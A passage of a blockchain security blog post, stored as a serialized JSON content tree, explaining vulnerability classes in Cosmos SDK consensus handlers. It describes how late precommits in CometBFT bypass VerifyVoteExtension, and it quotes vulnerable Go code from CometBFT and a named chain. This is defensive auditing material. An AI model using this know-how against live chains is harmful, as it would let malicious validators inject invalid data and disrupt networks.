funds\"",{"type":22,"tag":264,"props":84407,"children":84408},{"style":1539},[84409],{"type":27,"value":4380},{"type":22,"tag":264,"props":84411,"children":84412},{"style":1549},[84413],{"type":27,"value":84268},{"type":22,"tag":264,"props":84415,"children":84416},{"style":1539},[84417],{"type":27,"value":4463},{"type":22,"tag":264,"props":84419,"children":84420},{"class":1534,"line":1612},[84421],{"type":22,"tag":264,"props":84422,"children":84423},{"style":1539},[84424],{"type":27,"value":10894},{"type":22,"tag":264,"props":84426,"children":84427},{"class":1534,"line":1621},[84428],{"type":22,"tag":264,"props":84429,"children":84430},{"style":4309},[84431],{"type":27,"value":84328},{"type":22,"tag":264,"props":84433,"children":84434},{"class":1534,"line":1629},[84435],{"type":22,"tag":264,"props":84436,"children":84437},{"style":1539},[84438],{"type":27,"value":1692},{"type":22,"tag":23,"props":84440,"children":84441},{},[84442,84444,84451],{"type":27,"value":84443},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":22,"tag":69,"props":84445,"children":84448},{"href":84446,"rel":84447},"https://hackerone.com/reports/3018307",[73],[84449],{"type":27,"value":84450},"improper decimal handling in the group module",{"type":27,"value":210},{"type":22,"tag":169,"props":84453,"children":84455},{"id":84454},"same-same-but-different",[84456],{"type":27,"value":84457},"Same, Same... But Different",{"type":22,"tag":23,"props":84459,"children":84460},{},[84461,84463,84469,84470,84476,84477,84483,84484,84490],{"type":27,"value":84462},"Cosmos exposes several consensus-level interfaces, such as ",{"type":22,"tag":257,"props":84464,"children":84466},{"className":84465},[],[84467],{"type":27,"value":84468},"PrepareProposal",{"type":27,"value":4380},{"type":22,"tag":257,"props":84471,"children":84473},{"className":84472},[],[84474],{"type":27,"value":84475},"ProcessProposal",{"type":27,"value":4380},{"type":22,"tag":257,"props":84478,"children":84480},{"className":84479},[],[84481],{"type":27,"value":84482},"ExtendVote",{"type":27,"value":7780},{"type":22,"tag":257,"props":84485,"children":84487},{"className":84486},[],[84488],{"type":27,"value":84489},"VerifyVoteExtension",{"type":27,"value":84491},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":22,"tag":23,"props":84493,"children":84494},{},[84495],{"type":27,"value":84496},"Two of the best-known attack surfaces are",{"type":22,"tag":1867,"props":84498,"children":84499},{},[84500,84529],{"type":22,"tag":1871,"props":84501,"children":84502},{},[84503,84508,84509,84514,84516,84521,84522,84527],{"type":22,"tag":257,"props":84504,"children":84506},{"className":84505},[],[84507],{"type":27,"value":84468},{"type":27,"value":4370},{"type":22,"tag":257,"props":84510,"children":84512},{"className":84511},[],[84513],{"type":27,"value":84482},{"type":27,"value":84515},") outputs being rejected due to ",{"type":22,"tag":257,"props":84517,"children":84519},{"className":84518},[],[84520],{"type":27,"value":84475},{"type":27,"value":4370},{"type":22,"tag":257,"props":84523,"children":84525},{"className":84524},[],[84526],{"type":27,"value":84489},{"type":27,"value":84528},") over-validating, resulting in liveness failures.",{"type":22,"tag":1871,"props":84530,"children":84531},{},[84532,84534,84539,84540,84545,84547,84552,84553,84558],{"type":27,"value":84533},"Malicious proposals and vote extensions not created through the ",{"type":22,"tag":257,"props":84535,"children":84537},{"className":84536},[],[84538],{"type":27,"value":84468},{"type":27,"value":4370},{"type":22,"tag":257,"props":84541,"children":84543},{"className":84542},[],[84544],{"type":27,"value":84482},{"type":27,"value":84546},") are accepted due to ",{"type":22,"tag":257,"props":84548,"children":84550},{"className":84549},[],[84551],{"type":27,"value":84475},{"type":27,"value":4370},{"type":22,"tag":257,"props":84554,"children":84556},{"className":84555},[],[84557],{"type":27,"value":84489},{"type":27,"value":84559},") under-validating.",{"type":22,"tag":23,"props":84561,"children":84562},{},[84563],{"type":27,"value":84564},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":22,"tag":23,"props":84566,"children":84567},{},[84568,84570,84576,84578,84583],{"type":27,"value":84569},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":22,"tag":257,"props":84571,"children":84573},{"className":84572},[],[84574],{"type":27,"value":84575},"VoteExtensions",{"type":27,"value":84577}," within ",{"type":22,"tag":257,"props":84579,"children":84581},{"className":84580},[],[84582],{"type":27,"value":84468},{"type":27,"value":84584},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":22,"tag":23,"props":84586,"children":84587},{},[84588,84590,84595,84597,84602],{"type":27,"value":84589},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":22,"tag":257,"props":84591,"children":84593},{"className":84592},[],[84594],{"type":27,"value":84482},{"type":27,"value":84596}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":22,"tag":257,"props":84598,"children":84600},{"className":84599},[],[84601],{"type":27,"value":84489},{"type":27,"value":84603},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":22,"tag":23,"props":84605,"children":84606},{},[84607,84609,84614],{"type":27,"value":84608},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":22,"tag":257,"props":84610,"children":84612},{"className":84611},[],[84613],{"type":27,"value":84489},{"type":27,"value":84615}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":22,"tag":23,"props":84617,"children":84618},{},[84619,84621,84626,84628,84634],{"type":27,"value":84620},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":22,"tag":257,"props":84622,"children":84624},{"className":84623},[],[84625],{"type":27,"value":84489},{"type":27,"value":84627},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":22,"tag":257,"props":84629,"children":84631},{"className":84630},[],[84632],{"type":27,"value":84633},"Proposal",{"type":27,"value":210},{"type":22,"tag":618,"props":84636,"children":84638},{"code":84637,"language":77490,"meta":7,"className":77491,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[84639],{"type":22,"tag":257,"props":84640,"children":84641},{"__ignoreMap":7},[84642,84754,84761,84768,84776,84784,84868,84875,84883,84937,84944,84965,84972,85044,85060,85067,85141,85197,85204,85266,85273,85280,85299,85306,85313,85320],{"type":22,"tag":264,"props":84643,"children":84644},{"class":1534,"line":1535},[84645,84649,84653,84658,84662,84667,84671,84676,84680,84685,84689,84693,84697,84702,84706,84711,84716,84720,84725,84729,84734,84738,84742,84746,84750],{"type":22,"tag":264,"props":84646,"children":84647},{"style":4293},[84648],{"type":27,"value":77626},{"type":22,"tag":264,"props":84650,"children":84651},{"style":1539},[84652],{"type":27,"value":4370},{"type":22,"tag":264,"props":84654,"children":84655},{"style":1549},[84656],{"type":27,"value":84657},"cs ",{"type":22,"tag":264,"props":84659,"children":84660},{"style":4309},[84661],{"type":27,"value":5865},{"type":22,"tag":264,"props":84663,"children":84664},{"style":4722},[84665],{"type":27,"value":84666},"State",{"type":22,"tag":264,"props":84668,"children":84669},{"style":1539},[84670],{"type":27,"value":4390},{"type":22,"tag":264,"props":84672,"children":84673},{"style":4401},[84674],{"type":27,"value":84675},"addVote",{"type":22,"tag":264,"props":84677,"children":84678},{"style":1539},[84679],{"type":27,"value":2660},{"type":22,"tag":264,"props":84681,"children":84682},{"style":1549},[84683],{"type":27,"value":84684},"vote",{"type":22,"tag":264,"props":84686,"children":84687},{"style":4309},[84688],{"type":27,"value":11115},{"type":22,"tag":264,"props":84690,"children":84691},{"style":4722},[84692],{"type":27,"value":7049},{"type":22,"tag":264,"props":84694,"children":84695},{"style":1539},[84696],{"type":27,"value":210},{"type":22,"tag":264,"props":84698,"children":84699},{"style":4722},[84700],{"type":27,"value":84701},"Vote",{"type":22,"tag":264,"props":84703,"children":84704},{"style":1539},[84705],{"type":27,"value":4380},{"type":22,"tag":264,"props":84707,"children":84708},{"style":1549},[84709],{"type":27,"value":84710},"peerID",{"type":22,"tag":264,"props":84712,"children":84713},{"style":4722},[84714],{"type":27,"value":84715}," p2p",{"type":22,"tag":264,"props":84717,"children":84718},{"style":1539},[84719],{"type":27,"value":210},{"type":22,"tag":264,"props":84721,"children":84722},{"style":4722},[84723],{"type":27,"value":84724},"ID",{"type":22,"tag":264,"props":84726,"children":84727},{"style":1539},[84728],{"type":27,"value":77708},{"type":22,"tag":264,"props":84730,"children":84731},{"style":1549},[84732],{"type":27,"value":84733},"added",{"type":22,"tag":264,"props":84735,"children":84736},{"style":4722},[84737],{"type":27,"value":13349},{"type":22,"tag":264,"props":84739,"children":84740},{"style":1539},[84741],{"type":27,"value":4380},{"type":22,"tag":264,"props":84743,"children":84744},{"style":1549},[84745],{"type":27,"value":49740},{"type":22,"tag":264,"props":84747,"children":84748},{"style":4722},[84749],{"type":27,"value":16176},{"type":22,"tag":264,"props":84751,"children":84752},{"style":1539},[84753],{"type":27,"value":16103},{"type":22,"tag":264,"props":84755,"children":84756},{"class":1534,"line":1545},[84757],{"type":22,"tag":264,"props":84758,"children":84759},{"style":4309},[84760],{"type":27,"value":21646},{"type":22,"tag":264,"props":84762,"children":84763},{"class":1534,"line":1560},[84764],{"type":22,"tag":264,"props":84765,"children":84766},{"emptyLinePlaceholder":17},[84767],{"type":27,"value":4986},{"type":22,"tag":264,"props":84769,"children":84770},{"class":1534,"line":1569},[84771],{"type":22,"tag":264,"props":84772,"children":84773},{"style":4284},[84774],{"type":27,"value":84775},"    // A precommit for the previous height?\n",{"type":22,"tag":264,"props":84777,"children":84778},{"class":1534,"line":1583},[84779],{"type":22,"tag":264,"props":84780,"children":84781},{"style":4284},[84782],{"type":27,"value":84783},"    // These come in while we wait timeoutCommit\n",{"type":22,"tag":264,"props":84785,"children":84786},{"class":1534,"line":1603},[84787,84791,84796,84800,84805,84809,84813,84817,84822,84826,84830,84834,84838,84842,84847,84851,84855,84859,84864],{"type":22,"tag":264,"props":84788,"children":84789},{"style":4328},[84790],{"type":27,"value":13578},{"type":22,"tag":264,"props":84792,"children":84793},{"style":1549},[84794],{"type":27,"value":84795}," vote",{"type":22,"tag":264,"props":84797,"children":84798},{"style":1539},[84799],{"type":27,"value":210},{"type":22,"tag":264,"props":84801,"children":84802},{"style":1549},[84803],{"type":27,"value":84804},"Height",{"type":22,"tag":264,"props":84806,"children":84807},{"style":4309},[84808],{"type":27,"value":673},{"type":22,"tag":264,"props":84810,"children":84811},{"style":4344},[84812],{"type":27,"value":602},{"type":22,"tag":264,"props":84814,"children":84815},{"style":4309},[84816],{"type":27,"value":4585},{"type":22,"tag":264,"props":84818,"children":84819},{"style":1549},[84820],{"type":27,"value":84821}," cs",{"type":22,"tag":264,"props":84823,"children":84824},{"style":1539},[84825],{"type":27,"value":210},{"type":22,"tag":264,"props":84827,"children":84828},{"style":1549},[84829],{"type":27,"value":84804},{"type":22,"tag":264,"props":84831,"children":84832},{"style":4309},[84833],{"type":27,"value":15484},{"type":22,"tag":264,"props":84835,"children":84836},{"style":1549},[84837],{"type":27,"value":84795},{"type":22,"tag":264,"props":84839,"children":84840},{"style":1539},[84841],{"type":27,"value":210},{"type":22,"tag":264,"props":84843,"children":84844},{"style":1549},[84845],{"type":27,"value":84846},"Type",{"type":22,"tag":264,"props":84848,"children":84849},{"style":4309},[84850],{"type":27,"value":4585},{"type":22,"tag":264,"props":84852,"children":84853},{"style":1549},[84854],{"type":27,"value":79501},{"type":22,"tag":264,"props":84856,"children":84857},{"style":1539},[84858],{"type":27,"value":210},{"type":22,"tag":264,"props":84860,"children":84861},{"style":1549},[84862],{"type":27,"value":84863},"PrecommitType",{"type":22,"tag":264,"props":84865,"children":84866},{"style":1539},[84867],{"type":27,"value":4594},{"type":22,"tag":264,"props":84869,"children":84870},{"class":1534,"line":1612},[84871],{"type":22,"tag":264,"props":84872,"children":84873},{"style":4309},[84874],{"type":27,"value":83168},{"type":22,"tag":264,"props":84876,"children":84877},{"class":1534,"line":1621},[84878],{"type":22,"tag":264,"props":84879,"children":84880},{"style":4284},[84881],{"type":27,"value":84882},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":22,"tag":264,"props":84884,"children":84885},{"class":1534,"line":1629},[84886,84891,84895,84899,84903,84907,84911,84916,84920,84925,84929,84933],{"type":22,"tag":264,"props":84887,"children":84888},{"style":1549},[84889],{"type":27,"value":84890},"        added",{"type":22,"tag":264,"props":84892,"children":84893},{"style":1539},[84894],{"type":27,"value":4380},{"type":22,"tag":264,"props":84896,"children":84897},{"style":1549},[84898],{"type":27,"value":49740},{"type":22,"tag":264,"props":84900,"children":84901},{"style":4309},[84902],{"type":27,"value":4312},{"type":22,"tag":264,"props":84904,"children":84905},{"style":1549},[84906],{"type":27,"value":84821},{"type":22,"tag":264,"props":84908,"children":84909},{"style":1539},[84910],{"type":27,"value":210},{"type":22,"tag":264,"props":84912,"children":84913},{"style":1549},[84914],{"type":27,"value":84915},"LastCommit",{"type":22,"tag":264,"props":84917,"children":84918},{"style":1539},[84919],{"type":27,"value":210},{"type":22,"tag":264,"props":84921,"children":84922},{"style":4401},[84923],{"type":27,"value":84924},"AddVote",{"type":22,"tag":264,"props":84926,"children":84927},{"style":1539},[84928],{"type":27,"value":2660},{"type":22,"tag":264,"props":84930,"children":84931},{"style":1549},[84932],{"type":27,"value":84684},{"type":22,"tag":264,"props":84934,"children":84935},{"style":1539},[84936],{"type":27,"value":4463},{"type":22,"tag":264,"props":84938,"children":84939},{"class":1534,"line":1642},[84940],{"type":22,"tag":264,"props":84941,"children":84942},{"style":4309},[84943],{"type":27,"value":83168},{"type":22,"tag":264,"props":84945,"children":84946},{"class":1534,"line":1660},[84947,84951,84956,84960],{"type":22,"tag":264,"props":84948,"children":84949},{"style":4328},[84950],{"type":27,"value":17044},{"type":22,"tag":264,"props":84952,"children":84953},{"style":1549},[84954],{"type":27,"value":84955}," added",{"type":22,"tag":264,"props":84957,"children":84958},{"style":1539},[84959],{"type":27,"value":4380},{"type":22,"tag":264,"props":84961,"children":84962},{"style":1549},[84963],{"type":27,"value":84964},"err\n",{"type":22,"tag":264,"props":84966,"children":84967},{"class":1534,"line":1668},[84968],{"type":22,"tag":264,"props":84969,"children":84970},{"style":1539},[84971],{"type":27,"value":1674},{"type":22,"tag":264,"props":84973,"children":84974},{"class":1534,"line":1677},[84975,84980,84984,84988,84992,84997,85001,85006,85010,85015,85019,85024,85028,85032,85036,85040],{"type":22,"tag":264,"props":84976,"children":84977},{"style":1549},[84978],{"type":27,"value":84979},"    extEnabled",{"type":22,"tag":264,"props":84981,"children":84982},{"style":4309},[84983],{"type":27,"value":77742},{"type":22,"tag":264,"props":84985,"children":84986},{"style":1549},[84987],{"type":27,"value":84821},{"type":22,"tag":264,"props":84989,"children":84990},{"style":1539},[84991],{"type":27,"value":210},{"type":22,"tag":264,"props":84993,"children":84994},{"style":1549},[84995],{"type":27,"value":84996},"state",{"type":22,"tag":264,"props":84998,"children":84999},{"style":1539},[85000],{"type":27,"value":210},{"type":22,"tag":264,"props":85002,"children":85003},{"style":1549},[85004],{"type":27,"value":85005},"ConsensusParams",{"type":22,"tag":264,"props":85007,"children":85008},{"style":1539},[85009],{"type":27,"value":210},{"type":22,"tag":264,"props":85011,"children":85012},{"style":1549},[85013],{"type":27,"value":85014},"Feature",{"type":22,"tag":264,"props":85016,"children":85017},{"style":1539},[85018],{"type":27,"value":210},{"type":22,"tag":264,"props":85020,"children":85021},{"style":4401},[85022],{"type":27,"value":85023},"VoteExtensionsEnabled",{"type":22,"tag":264,"props":85025,"children":85026},{"style":1539},[85027],{"type":27,"value":2660},{"type":22,"tag":264,"props":85029,"children":85030},{"style":1549},[85031],{"type":27,"value":84684},{"type":22,"tag":264,"props":85033,"children":85034},{"style":1539},[85035],{"type":27,"value":210},{"type":22,"tag":264,"props":85037,"children":85038},{"style":1549},[85039],{"type":27,"value":84804},{"type":22,"tag":264,"props":85041,"children":85042},{"style":1539},[85043],{"type":27,"value":4463},{"type":22,"tag":264,"props":85045,"children":85046},{"class":1534,"line":1686},[85047,85051,85056],{"type":22,"tag":264,"props":85048,"children":85049},{"style":4328},[85050],{"type":27,"value":13578},{"type":22,"tag":264,"props":85052,"children":85053},{"style":1549},[85054],{"type":27,"value":85055}," extEnabled",{"type":22,"tag":264,"props":85057,"children":85058},{"style":1539},[85059],{"type":27,"value":4594},{"type":22,"tag":264,"props":85061,"children":85062},{"class":1534,"line":4948},[85063],{"type":22,"tag":264,"props":85064,"children":85065},{"style":4309},[85066],{"type":27,"value":83168},{"type":22,"tag":264,"props":85068,"children":85069},{"class":1534,"line":4957},[85070,85074,85078,85082,85086,85090,85094,85098,85102,85106,85110,85114,85118,85123,85127,85132,85136],{"type":22,"tag":264,"props":85071,"children":85072},{"style":4328},[85073],{"type":27,"value":4575},{"type":22,"tag":264,"props":85075,"children":85076},{"style":1549},[85077],{"type":27,"value":84795},{"type":22,"tag":264,"props":85079,"children":85080},{"style":1539},[85081],{"type":27,"value":210},{"type":22,"tag":264,"props":85083,"children":85084},{"style":1549},[85085],{"type":27,"value":84846},{"type":22,"tag":264,"props":85087,"children":85088},{"style":4309},[85089],{"type":27,"value":4585},{"type":22,"tag":264,"props":85091,"children":85092},{"style":1549},[85093],{"type":27,"value":79501},{"type":22,"tag":264,"props":85095,"children":85096},{"style":1539},[85097],{"type":27,"value":210},{"type":22,"tag":264,"props":85099,"children":85100},{"style":1549},[85101],{"type":27,"value":84863},{"type":22,"tag":264,"props":85103,"children":85104},{"style":4309},[85105],{"type":27,"value":15484},{"type":22,"tag":264,"props":85107,"children":85108},{"style":4309},[85109],{"type":27,"value":14162},{"type":22,"tag":264,"props":85111,"children":85112},{"style":1549},[85113],{"type":27,"value":84684},{"type":22,"tag":264,"props":85115,"children":85116},{"style":1539},[85117],{"type":27,"value":210},{"type":22,"tag":264,"props":85119,"children":85120},{"style":1549},[85121],{"type":27,"value":85122},"BlockID",{"type":22,"tag":264,"props":85124,"children":85125},{"style":1539},[85126],{"type":27,"value":210},{"type":22,"tag":264,"props":85128,"children":85129},{"style":4401},[85130],{"type":27,"value":85131},"IsNil",{"type":22,"tag":264,"props":85133,"children":85134},{"style":1539},[85135],{"type":27,"value":15342},{"type":22,"tag":264,"props":85137,"children":85138},{"style":4309},[85139],{"type":27,"value":85140},"&&\n",{"type":22,"tag":264,"props":85142,"children":85143},{"class":1534,"line":4980},[85144,85149,85154,85158,85162,85166,85170,85174,85179,85183,85188,85192],{"type":22,"tag":264,"props":85145,"children":85146},{"style":4309},[85147],{"type":27,"value":85148},"            !",{"type":22,"tag":264,"props":85150,"children":85151},{"style":1549},[85152],{"type":27,"value":85153},"bytes",{"type":22,"tag":264,"props":85155,"children":85156},{"style":1539},[85157],{"type":27,"value":210},{"type":22,"tag":264,"props":85159,"children":85160},{"style":4401},[85161],{"type":27,"value":83624},{"type":22,"tag":264,"props":85163,"children":85164},{"style":1539},[85165],{"type":27,"value":2660},{"type":22,"tag":264,"props":85167,"children":85168},{"style":1549},[85169],{"type":27,"value":84684},{"type":22,"tag":264,"props":85171,"children":85172},{"style":1539},[85173],{"type":27,"value":210},{"type":22,"tag":264,"props":85175,"children":85176},{"style":1549},[85177],{"type":27,"value":85178},"ValidatorAddress",{"type":22,"tag":264,"props":85180,"children":85181},{"style":1539},[85182],{"type":27,"value":4380},{"type":22,"tag":264,"props":85184,"children":85185},{"style":1549},[85186],{"type":27,"value":85187},"myAddr",{"type":22,"tag":264,"props":85189,"children":85190},{"style":1539},[85191],{"type":27,"value":25301},{"type":22,"tag":264,"props":85193,"children":85194},{"style":4284},[85195],{"type":27,"value":85196},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":22,"tag":264,"props":85198,"children":85199},{"class":1534,"line":4989},[85200],{"type":22,"tag":264,"props":85201,"children":85202},{"style":4309},[85203],{"type":27,"value":83844},{"type":22,"tag":264,"props":85205,"children":85206},{"class":1534,"line":4998},[85207,85211,85215,85219,85223,85228,85232,85236,85240,85245,85249,85254,85258,85262],{"type":22,"tag":264,"props":85208,"children":85209},{"style":1549},[85210],{"type":27,"value":83662},{"type":22,"tag":264,"props":85212,"children":85213},{"style":4309},[85214],{"type":27,"value":77742},{"type":22,"tag":264,"props":85216,"children":85217},{"style":1549},[85218],{"type":27,"value":84821},{"type":22,"tag":264,"props":85220,"children":85221},{"style":1539},[85222],{"type":27,"value":210},{"type":22,"tag":264,"props":85224,"children":85225},{"style":1549},[85226],{"type":27,"value":85227},"blockExec",{"type":22,"tag":264,"props":85229,"children":85230},{"style":1539},[85231],{"type":27,"value":210},{"type":22,"tag":264,"props":85233,"children":85234},{"style":4401},[85235],{"type":27,"value":84489},{"type":22,"tag":264,"props":85237,"children":85238},{"style":1539},[85239],{"type":27,"value":2660},{"type":22,"tag":264,"props":85241,"children":85242},{"style":1549},[85243],{"type":27,"value":85244},"context",{"type":22,"tag":264,"props":85246,"children":85247},{"style":1539},[85248],{"type":27,"value":210},{"type":22,"tag":264,"props":85250,"children":85251},{"style":4401},[85252],{"type":27,"value":85253},"TODO",{"type":22,"tag":264,"props":85255,"children":85256},{"style":1539},[85257],{"type":27,"value":19678},{"type":22,"tag":264,"props":85259,"children":85260},{"style":1549},[85261],{"type":27,"value":84684},{"type":22,"tag":264,"props":85263,"children":85264},{"style":1539},[85265],{"type":27,"value":4463},{"type":22,"tag":264,"props":85267,"children":85268},{"class":1534,"line":5067},[85269],{"type":22,"tag":264,"props":85270,"children":85271},{"style":4309},[85272],{"type":27,"value":83844},{"type":22,"tag":264,"props":85274,"children":85275},{"class":1534,"line":5075},[85276],{"type":22,"tag":264,"props":85277,"children":85278},{"style":1539},[85279],{"type":27,"value":4651},{"type":22,"tag":264,"props":85281,"children":85282},{"class":1534,"line":5105},[85283,85287,85291,85295],{"type":22,"tag":264,"props":85284,"children":85285},{"style":1539},[85286],{"type":27,"value":17079},{"type":22,"tag":264,"props":85288,"children":85289},{"style":4328},[85290],{"type":27,"value":4619},{"type":22,"tag":264,"props":85292,"children":85293},{"style":4328},[85294],{"type":27,"value":17088},{"type":22,"tag":264,"props":85296,"children":85297},{"style":1539},[85298],{"type":27,"value":4594},{"type":22,"tag":264,"props":85300,"children":85301},{"class":1534,"line":5113},[85302],{"type":22,"tag":264,"props":85303,"children":85304},{"style":4309},[85305],{"type":27,"value":83168},{"type":22,"tag":264,"props":85307,"children":85308},{"class":1534,"line":5145},[85309],{"type":22,"tag":264,"props":85310,"children":85311},{"style":1539},[85312],{"type":27,"value":1674},{"type":22,"tag":264,"props":85314,"children":85315},{"class":1534,"line":5153},[85316],{"type":22,"tag":264,"props":85317,"children":85318},{"style":4309},[85319],{"type":27,"value":21646},{"type":22,"tag":264,"props":85321,"children":85322},{"class":1534,"line":5213},[85323],{"type":22,"tag":264,"props":85324,"children":85325},{"style":1539},[85326],{"type":27,"value":1692},{"type":22,"tag":23,"props":85328,"children":85329},{},[85330],{"type":27,"value":85331},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":22,"tag":181,"props":85333,"children":85335},{"id":85334},"real-world-examples-4",[85336],{"type":27,"value":78015},{"type":22,"tag":23,"props":85338,"children":85339},{},[85340,85342,85347,85349,85355,85357,85363],{"type":27,"value":85341},"An example of the bug we just described is shown here. ",{"type":22,"tag":257,"props":85343,"children":85345},{"className":85344},[],[85346],{"type":27,"value":84468},{"type":27,"value":85348}," only checks that each vote is properly signed by a validator in ",{"type":22,"tag":257,"props":85350,"children":85352},{"className":85351},[],[85353],{"type":27,"value":85354},"ValidateVoteExtension",{"type":27,"value":85356}," but does not verify it against the rules in ",{"type":22,"tag":257,"props":85358,"children":85360},{"className":85359},[],[85361],{"type":27,"value":85362},"VerifyVoteExtention.",{"type":27,"value":85364}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":22,"tag":23,"props":85366,"children":85367},{},[85368],{"type":22,"tag":69,"props":85369,"children":85372},{"href":85370,"rel":85371},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[73],[85373],{"type":27,"value":78065},{"type":22,"tag":618,"props":85375,"children":85377},{"code":85376,"language":77490,"meta":7,"className":77491,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[85378],{"type":22,"tag":257,"props":85379,"children":85380},{"__ignoreMap":7},[85381,85435,85526,85533,85554,85621,85629,85734,85757,85776,85783,85837,85860,85915,85934,85941,85948,85955,86009,86016,86042,86065,86117,86179,86186,86213,86233,86245,86252],{"type":22,"tag":264,"props":85382,"children":85383},{"class":1534,"line":1535},[85384,85388,85392,85397,85401,85406,85410,85415,85419,85423,85427,85431],{"type":22,"tag":264,"props":85385,"children":85386},{"style":4293},[85387],{"type":27,"value":77626},{"type":22,"tag":264,"props":85389,"children":85390},{"style":1539},[85391],{"type":27,"value":4370},{"type":22,"tag":264,"props":85393,"children":85394},{"style":1549},[85395],{"type":27,"value":85396},"h ",{"type":22,"tag":264,"props":85398,"children":85399},{"style":4309},[85400],{"type":27,"value":5865},{"type":22,"tag":264,"props":85402,"children":85403},{"style":4722},[85404],{"type":27,"value":85405},"Handlers",{"type":22,"tag":264,"props":85407,"children":85408},{"style":1539},[85409],{"type":27,"value":4390},{"type":22,"tag":264,"props":85411,"children":85412},{"style":4401},[85413],{"type":27,"value":85414},"PrepareProposalHandler",{"type":22,"tag":264,"props":85416,"children":85417},{"style":1539},[85418],{"type":27,"value":15342},{"type":22,"tag":264,"props":85420,"children":85421},{"style":4722},[85422],{"type":27,"value":80056},{"type":22,"tag":264,"props":85424,"children":85425},{"style":1539},[85426],{"type":27,"value":210},{"type":22,"tag":264,"props":85428,"children":85429},{"style":4722},[85430],{"type":27,"value":85414},{"type":22,"tag":264,"props":85432,"children":85433},{"style":1539},[85434],{"type":27,"value":4594},{"type":22,"tag":264,"props":85436,"children":85437},{"class":1534,"line":1545},[85438,85442,85446,85450,85454,85458,85462,85466,85470,85475,85479,85484,85488,85493,85497,85501,85505,85509,85514,85518,85522],{"type":22,"tag":264,"props":85439,"children":85440},{"style":4328},[85441],{"type":27,"value":18291},{"type":22,"tag":264,"props":85443,"children":85444},{"style":4293},[85445],{"type":27,"value":81335},{"type":22,"tag":264,"props":85447,"children":85448},{"style":1539},[85449],{"type":27,"value":2660},{"type":22,"tag":264,"props":85451,"children":85452},{"style":1549},[85453],{"type":27,"value":21587},{"type":22,"tag":264,"props":85455,"children":85456},{"style":4722},[85457],{"type":27,"value":79967},{"type":22,"tag":264,"props":85459,"children":85460},{"style":1539},[85461],{"type":27,"value":210},{"type":22,"tag":264,"props":85463,"children":85464},{"style":4722},[85465],{"type":27,"value":77675},{"type":22,"tag":264,"props":85467,"children":85468},{"style":1539},[85469],{"type":27,"value":4380},{"type":22,"tag":264,"props":85471,"children":85472},{"style":1549},[85473],{"type":27,"value":85474},"req",{"type":22,"tag":264,"props":85476,"children":85477},{"style":4309},[85478],{"type":27,"value":11115},{"type":22,"tag":264,"props":85480,"children":85481},{"style":4722},[85482],{"type":27,"value":85483},"abcitypes",{"type":22,"tag":264,"props":85485,"children":85486},{"style":1539},[85487],{"type":27,"value":210},{"type":22,"tag":264,"props":85489,"children":85490},{"style":4722},[85491],{"type":27,"value":85492},"RequestPrepareProposal",{"type":22,"tag":264,"props":85494,"children":85495},{"style":1539},[85496],{"type":27,"value":77708},{"type":22,"tag":264,"props":85498,"children":85499},{"style":4309},[85500],{"type":27,"value":5865},{"type":22,"tag":264,"props":85502,"children":85503},{"style":4722},[85504],{"type":27,"value":85483},{"type":22,"tag":264,"props":85506,"children":85507},{"style":1539},[85508],{"type":27,"value":210},{"type":22,"tag":264,"props":85510,"children":85511},{"style":4722},[85512],{"type":27,"value":85513},"ResponsePrepareProposal",{"type":22,"tag":264,"props":85515,"children":85516},{"style":1539},[85517],{"type":27,"value":4380},{"type":22,"tag":264,"props":85519,"children":85520},{"style":4722},[85521],{"type":27,"